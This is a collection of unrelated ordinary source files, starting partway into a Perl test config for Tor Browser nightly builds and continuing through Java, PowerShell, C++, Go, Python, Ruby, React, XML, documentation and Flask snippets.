            descr => 'create incrementals for tor-browser nightly windows-x86_64',
            type  => 'make_incrementals',
            publish_dir => 'nightly-windows-x86_64',
        },
        {
            name  => 'nightly-osx-x86_64',
            descr => 'build tor-browser nightly osx-x86_64',
            type  => 'rbm_build',
            project => 'release',
            targets => [
                'noversiondir',
                'nightly',
                'torbrowser-osx-x86_64',
            ],
            publish_dir => 'nightly-osx-x86_64',
        },
        {
            name  => 'incrementals-nightly-osx-x86_64',
            descr => 'create incrementals for tor-browser nightly osx-x86_64',
            type  => 'make_incrementals',
            publish_dir => 'nightly-osx-x86_64',
        },
        {
            name  => 'nightly-android-armv7',
            descr => 'build tor-browser nightly android-armv7',
            type  => 'rbm_build',
            project => 'release',
            targets => [
                'noversiondir',
                'nightly',
                'torbrowser-android-armv7',
            ],
            publish_dir => 'nightly-android-armv7',
        },
        {
            name  => 'nightly-android-x86',
            descr => 'build tor-browser nightly android-x86',
            type  => 'rbm_build',
            project => 'release',
            targets => [
                'noversiondir',
                'nightly',
                'torbrowser-android-x86',
            ],
            publish_dir => 'nightly-android-x86',
        },
        {
            name  => 'nightly-android-x86_64',
            descr => 'build tor-browser nightly android-x86_64',
            type  => 'rbm_build',
            project => 'release',
            targets => [
                'noversiondir',
                'nightly',
                'torbrowser-android-x86_64',
            ],
            publish_dir => 'nightly-android-x86_64',
        },
        {
            name  => 'nightly-android-aarch64',
            descr => 'build tor-browser nightly android-aarch64',
            type  => 'rbm_build',
            project => 'release',
            targets => [
                'noversiondir',
                'nightly',
                'torbrowser-android-aarch64',
            ],
            publish_dir => 'nightly-android-aarch64',
        },
    ];
}

sub make_incrementals {
    my ($testsuite, $test) = @_;
    $test->{results}{success} = 0;
    mkdir 'nightly' unless -d 'nightly';
    # Clean the nightly directory
    foreach my $subdir (path('nightly')->children) {
        unlink $subdir if -l $subdir;
    }
    foreach my $builddir (path($testsuite->{publish_dir} . '/..')->children) {
        if (-f "$builddir/$test->{publish_dir}/sha256sums-unsigned-build.txt") {
            symlink("$builddir/$test->{publish_dir}", 'nightly/' . $builddir->basename);
        }
    }
    my @cmd = ('make', 'incrementals-nightly');
    run_to_file("$testsuite->{'results-dir'}/$test->{name}.build.txt", @cmd)
        or return;
    $test->{results}{success} = 1;
}

sub pre_tests {
    my ($tbbinfos) = @_;
    my $gr = TBBTestSuite::GitRepo->new({
            name => 'tor-browser-build',
            git_url => 'https://git.torproject.org/builders/tor-browser-build.git',
        });
    $gr->clone_fetch;
    $gr->cmd('git', 'checkout', 'master');
    chdir $gr->clone_dir();
    copy($tbbinfos->{rbm_local_conf}, $gr->clone_dir() . '/rbm.local.conf')
            if $tbbinfos->{rbm_local_conf};
    my @clean = ('clean') if $tbbinfos->{make_clean};
    foreach my $cmd (('submodule-update', 'fetch', @clean)) {
        my ($out, $err, $success) = capture_exec('make', $cmd);
        if (!$success) {
            $tbbinfos->{pre_tests_error} = "Error running make $cmd:\n$out\n$err";
            return;
        }
    }
    if ($tbbinfos->{tbb_version}) {
        $ENV{TORBROWSER_NIGHTLY_VERSION} = $tbbinfos->{tbb_version};
    }
}

1;


text:
/* ----------------------------------------------------------------------------
 * This file was automatically generated by SWIG (http://www.swig.org).
 * Version 2.0.10
 *
 * Do not make changes to this file unless you know what you are doing--modify
 * the SWIG interface file instead.
 * ----------------------------------------------------------------------------- */

package com.badlogic.gdx.physics.bullet;

import com.badlogic.gdx.math.Vector3;
import com.badlogic.gdx.math.Quaternion;
import com.badlogic.gdx.math.Matrix3;
import com.badlogic.gdx.math.Matrix4;

public class btConvexHullComputer {
  private long swigCPtr;
  protected boolean swigCMemOwn;

  protected btConvexHullComputer(long cPtr, boolean cMemoryOwn) {
    swigCMemOwn = cMemoryOwn;
    swigCPtr = cPtr;
  }

  public static long getCPtr(btConvexHullComputer obj) {
    return (obj == null) ? 0 : obj.swigCPtr;
  }

  protected void finalize() {
    delete();
  }

  public synchronized void delete() {
    if (swigCPtr != 0) {
      if (swigCMemOwn) {
        swigCMemOwn = false;
        gdxBulletJNI.delete_btConvexHullComputer(swigCPtr);
      }
      swigCPtr = 0;
    }
  }

  public void setVertices(SWIGTYPE_p_btAlignedObjectArrayT_btVector3_t value) {
    gdxBulletJNI.btConvexHullComputer_vertices_set(swigCPtr, this, SWIGTYPE_p_btAlignedObjectArrayT_btVector3_t.getCPtr(value));
  }

  public SWIGTYPE_p_btAlignedObjectArrayT_btVector3_t getVertices() {
    long cPtr = gdxBulletJNI.btConvexHullComputer_vertices_get(swigCPtr, this);
    return (cPtr == 0) ? null : new SWIGTYPE_p_btAlignedObjectArrayT_btVector3_t(cPtr, false);
  }

  public void setEdges(SWIGTYPE_p_btAlignedObjectArrayT_btConvexHullComputer__Edge_t value) {
    gdxBulletJNI.btConvexHullComputer_edges_set(swigCPtr, this, SWIGTYPE_p_btAlignedObjectArrayT_btConvexHullComputer__Edge_t.getCPtr(value));
  }

  public SWIGTYPE_p_btAlignedObjectArrayT_btConvexHullComputer__Edge_t getEdges() {
    long cPtr = gdxBulletJNI.btConvexHullComputer_edges_get(swigCPtr, this);
    return (cPtr == 0) ? null : new SWIGTYPE_p_btAlignedObjectArrayT_btConvexHullComputer__Edge_t(cPtr, false);
  }

  public void setFaces(SWIGTYPE_p_btAlignedObjectArrayT_int_t value) {
    gdxBulletJNI.btConvexHullComputer_faces_set(swigCPtr, this, SWIGTYPE_p_btAlignedObjectArrayT_int_t.getCPtr(value));
  }

  public SWIGTYPE_p_btAlignedObjectArrayT_int_t getFaces() {
    long cPtr = gdxBulletJNI.btConvexHullComputer_faces_get(swigCPtr, this);
    return (cPtr == 0) ? null : new SWIGTYPE_p_btAlignedObjectArrayT_int_t(cPtr, false);
  }

  public float compute(java.nio.FloatBuffer coords, int stride, int count, float shrink, float shrinkClamp) {
    assert coords.isDirect() : "Buffer must be allocated direct.";
    {
      return gdxBulletJNI.btConvexHullComputer_compute__SWIG_0(swigCPtr, this, coords, stride, count, shrink, shrinkClamp);
    }
  }

  public float compute(java.nio.DoubleBuffer coords, int stride, int count, float shrink, float shrinkClamp) {
    assert coords.isDirect() : "Buffer must be allocated direct.";
    {
      return gdxBulletJNI.btConvexHullComputer_compute__SWIG_1(swigCPtr, this, coords, stride, count, shrink, shrinkClamp);
    }
  }

  public btConvexHullComputer() {
    this(gdxBulletJNI.new_btConvexHullComputer(), true);
  }

}


text:
<#############################
| READING POWERSHELL CLASSES |
##############################

Version 5.0 and Later

Starting with PowerShell 5, you can define classes. They have many use cases. One would be
to create libraries of useful functions to better organize them. For this, a class would
define "static" methods. Here is a simple example.

#>

class HelperStuff
{
    # get first character of string and throw exception
    # when string is empty or multi-line
    static [char] GetFirstCharacter([string]$Text)
    {
        if ($Text.Length -eq 0)
        {
            throw 'String is empty'
        }
        if ($text.Contains("``n"))
        {
            throw 'String contains multiple lines'
        }
        return $Text[0]
    }

    # get file extension in lower case
    static [string] GetFileExtension([String]$Path)
    {
        return [io.path]::GetExtension($path).ToLower()
    }
}


text:
/*
 * Copyright notice reproduced from <boost/detail/limits.hpp>, from
 * which this code was originally taken.
 *
 * Modified by Caleb Epstein to use <endian.h> with GNU libc and to
 * defined the BOOST_ENDIAN macro.
 */

#ifndef BOOST_DETAIL_ENDIAN_HPP
#define BOOST_DETAIL_ENDIAN_HPP

// GNU libc offers the helpful header <endian.h> which defines
// __BYTE_ORDER

#if defined (__GLIBC__)
# include <endian.h>
# if (__BYTE_ORDER == __LITTLE_ENDIAN)
#  define BOOST_LITTLE_ENDIAN
# elif (__BYTE_ORDER == __BIG_ENDIAN)
#  define BOOST_BIG_ENDIAN
# elif (__BYTE_ORDER == __PDP_ENDIAN)
#  define BOOST_PDP_ENDIAN
# else
#  error Unknown machine endianness detected.
# endif
# define BOOST_BYTE_ORDER __BYTE_ORDER
#elif defined(__sparc) || defined(__sparc__) \
   || defined(_POWER) || defined(__powerpc__) \
   || defined(__ppc__) || defined(__hppa) \
   || defined(_MIPSEB) || defined(_POWER) \
   || defined(__s390__)
# define BOOST_BIG_ENDIAN
# define BOOST_BYTE_ORDER 4321
#elif defined(__i386__) || defined(__alpha__) \
   || defined(__ia64) || defined(__ia64__) \
   || defined(_M_IX86) || defined(_M_IA64) \
   || defined(_M_ALPHA)
# define BOOST_LITTLE_ENDIAN
# define BOOST_BYTE_ORDER 1234
#else
# error The file boost/detail/endian.hpp needs to be set up for your CPU type.
#endif

#endif


text:
package jsonutil

import (
	"bytes"
	"compress/gzip"
	"encoding/json"
	"fmt"
	"io"

	"github.com/hashicorp/vault/helper/compressutil"
)

// Encodes/Marshals the given object into JSON
func EncodeJSON(in interface{}) ([]byte, error) {
	if in == nil {
		return nil, fmt.Errorf("input for encoding is nil")
	}
	var buf bytes.Buffer
	enc := json.NewEncoder(&buf)
	if err := enc.Encode(in); err != nil {
		return nil, err
	}
	return buf.Bytes(), nil
}

// EncodeJSONAndCompress encodes the given input into JSON and compresses the
// encoded value (using Gzip format BestCompression level, by default). A
// canary byte is placed at the beginning of the returned bytes for the logic
// in decompression method to identify compressed input.
func EncodeJSONAndCompress(in interface{}, config *compressutil.CompressionConfig) ([]byte, error) {
	if in == nil {
		return nil, fmt.Errorf("input for encoding is nil")
	}

	// First JSON encode the given input
	encodedBytes, err := EncodeJSON(in)
	if err != nil {
		return nil, err
	}

	if config == nil {
		config = &compressutil.CompressionConfig{
			Type:                 compressutil.CompressionTypeGzip,
			GzipCompressionLevel: gzip.BestCompression,
		}
	}

	return compressutil.Compress(encodedBytes, config)
}

// DecodeJSON tries to decompress the given data. The call to decompress, fails
// if the content was not compressed in the first place, which is identified by
// a canary byte before the compressed data. If the data is not compressed, it
// is JSON decoded directly. Otherwise the decompressed data will be JSON
// decoded.
func DecodeJSON(data []byte, out interface{}) error {
	if data == nil || len(data) == 0 {
		return fmt.Errorf("'data' being decoded is nil")
	}
	if out == nil {
		return fmt.Errorf("output parameter 'out' is nil")
	}

	// Decompress the data if it was compressed in the first place
	decompressedBytes, uncompressed, err := compressutil.Decompress(data)
	if err != nil {
		return fmt.Errorf("failed to decompress JSON: err: %v", err)
	}
	if !uncompressed && (decompressedBytes == nil || len(decompressedBytes) == 0) {
		return fmt.Errorf("decompressed data being decoded is invalid")
	}

	// If the input supplied failed to contain the compression canary, it
	// will be notified by the compression utility. Decode the decompressed
	// input.
	if !uncompressed {
		data = decompressedBytes
	}

	return DecodeJSONFromReader(bytes.NewReader(data), out)
}

// Decodes/Unmarshals the given io.Reader pointing to a JSON, into a desired object
func DecodeJSONFromReader(r io.Reader, out interface{}) error {
	if r == nil {
		return fmt.Errorf("'io.Reader' being decoded is nil")
	}
	if out == nil {
		return fmt.Errorf("output parameter 'out' is nil")
	}

	dec := json.NewDecoder(r)

	// While decoding JSON values, intepret the integer values as `json.Number`s instead of `float64`.
	dec.UseNumber()

	// Since 'out' is an interface representing a pointer, pass it to the decoder without an '&'
	return dec.Decode(out)
}


text:
;(function( $ ){

	/**
	 * No geral evitar utilizar jQuery em apps AngularJS
	 * caso seja necessário a utilização de jQuery, criar uma diretiva para tal
	 *
	 */
  $(document).ready(function() {

  });

})( jQuery );


text:
def parens(string):
    i = 0

    # For each value in the string we've passed in, check whether
    # it is a ( or ). If so, updated the counter appropriately.
    for value in string:
        if value == '(':
            i += 1
        elif value == ')':
            i -= 1

        # Broken string
        if i < 0:
            return -1

    # Open string
    if i > 0:
        return 1

    # Balanced string
    if i == 0:
        return 0


text:
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
	<Person id="0" title="Mr" firstName="Phillip" lastName="Webb"/>
	<Person id="1" title="Mr" firstName="Mario" lastName="Zagar"/>
</dataset>


text:
require 'test_helper'

module AjoCms
  class PageTest < ActiveSupport::TestCase
    # test "the truth" do
    #   assert true
    # end
  end
end


text:
import React from 'react';
import Refs from '../Refs';

suite('Refs', () => {
  percySnapshot('components with string refs work', () => {
    return <Refs type="string">This is some text</Refs>;
  });

  percySnapshot('components with function refs work', () => {
    return <Refs type="function">This is some text</Refs>;
  });

  percySnapshot('components using createRef work', () => {
    return <Refs type="createRef">This is some text</Refs>;
  });
});


text:
===================
Data Interpretation
===================

Moksha provides various mechanisms that allow applications to more easily interpret
dynamic data and act on it.

Live streams
------------

Any data source, even if moksha has to occasionally poll it, can be displayed
as a 'live' widget.  :doc:`Producers` can also easily expose
themselves through an AMQP/STOMP message queue or 0mq message filter, allowing
other applications and services to interact with new data, as it is discovered.

Consumers
---------

Moksha allows plugins to monitor arbitrary message `"topics"`, giving
developers the ability to register actions on arbitrary events.  Consumers (when
designed well) form elementary building blocks and can be strung in a
conceptual `pipeline` not unlike Unix programs.

Extension Points
----------------

Moksha gives developers the ability to add additional functionality to predictable
patterns found within dynamic data streams.  For example, an extension point
could find all occurences of known project names within a data feed, and easily
turn them into a dynamic hover menu that could display related data.


text:
from flask import render_template, Blueprint, request, redirect, url_for, flash
from app import app
from app import db
from app.models import Blog
from .forms import AddArticleForm

#################### Config ####################

blog_blueprint = Blueprint('blog', __name__, template_folder='templates')

#################### Helper Functions ####################

def flash_errors(form):
    for field, errors in form.errors.items():
        for error in errors:
            flash(u"Error in the %s field - %s" % (
                getattr(form, field).label.text,
                error
            ), 'info')

#################### Routes ####################

@blog_blueprint.route('/')
@blog_blueprint.route('/index')
@blog_blueprint.route('/blog')
def index():
    all_articles = Blog.query.all()
    return render_template('blog.html', articles=all_articles)

@blog_blueprint.route('/add_article', methods=['GET', 'POST'])
def add_article():
    form = AddArticleForm(request.form)
    if request.method == 'POST':
        if form.validate_on_submit():
            new_article = Blog(form.article_title.data, form.article_author.data, form.article_content.data)
            db.session.add(new_article)
            db.session.commit()
            flash('New Article, {}, added!'.format(new_article.article_title), 'success')
            return redirect(url_for('blog.index'))
        else:
            flash_errors(form)
            flash('ERROR! Article was not added.', 'error')

    return render_template('add_article.html', form=form)